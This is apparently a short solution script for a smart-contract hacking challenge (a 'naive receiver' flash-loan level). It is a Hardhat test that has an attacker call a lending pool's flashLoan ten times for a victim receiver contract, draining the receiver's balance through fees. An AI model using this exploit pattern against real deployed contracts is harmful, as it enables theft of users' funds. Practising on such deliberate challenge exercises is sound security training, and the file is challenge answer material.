SolutionNaive1.js

it('Exploit', async function () {
  /** CODE YOUR EXPLOIT HERE */
  for (i = 1; i <= 10; i++) {
    await this.pool.connect(attacker).flashLoan(this.receiver.address, 0)
    console.log(i, String(await ethers.provider.getBalance(this.receiver.address)))
  }
}